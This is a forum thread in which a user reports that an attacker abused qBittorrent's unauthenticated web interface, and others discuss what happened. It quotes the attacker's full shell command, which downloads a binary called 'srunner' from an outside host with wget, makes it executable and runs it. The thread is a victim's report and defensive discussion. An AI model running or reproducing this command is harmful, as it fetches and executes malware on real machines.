Malware installed through qBittorrent?

chrismox · 10 Jul 2020 at 11:22

I have qBittorrent on my server and the webUI has been accessible without authentification. I only use the software very rarely and not for anything “dodgy”, so I never saw the need for authentification until today when I got a random notification that it had just finished downloading something that I hadn’t asked for. The log below tells the story:

it would seem that someone has logged in, changed the options so that a command is run upon completion of a download, started a tiny download which then completes (the command is run), removed the download and removed the amended settings.

The command is:
sh -c "/bin/rm -rf $HOME/srunner;wget -P $HOME/ http://vps.daswf852.pw/srunner;chmod a+x $HOME/srunner;$HOME/srunner"

Any idea what damage might have been done?

Obviously I have since corrected my stupidity and removed access to the webUI.

EDIT - the server is running Windows 10 the command looks to me like a Linux one, so hopefully has done nothing...?!

Thanks in advance.

chrismox · 10 Jul 2020 at 12:34

Thanks for the replies.

The server doesn't have much of importance on it, mostly photos, videos and so on.

I'm probably exposing my ignorance, but as my server is running Windows, can the script be executed at all if it's not a Linux system?

chrismox · 10 Jul 2020 at 16:59

opethdisciple said:
Yes if you have the Windows Subsystem for Linux installed.

I've not heard of it, so I guess not!

chrismox · 11 Jul 2020 at 12:16

moogle said:
Looks like an exploit/security flaw in qBittorrent. However since you're running a Windows version it'll have done nothing. I downloaded the file and it looks like an ELF binary (Linux executable).
The commands seperated by the semi colon were just multi-line commands so it looks like it would delete an existing srunner program, download a new one to the same location, mark it as executable and then run it.

Just secure your client or change torrent client. I'd be tempted to report it to the qBittorrent devs as well so they can investigate how it could have happened.

Thanks moogle. I’d come to the same conclusion, although I hadn’t got as far as examining the file in any detail.

I’m not sure there’s much to report to the devs as it’s not really a fault in the software, just that I was daft enough not to password protect its UI.

I’ve secured the client and given myself a good telling-off.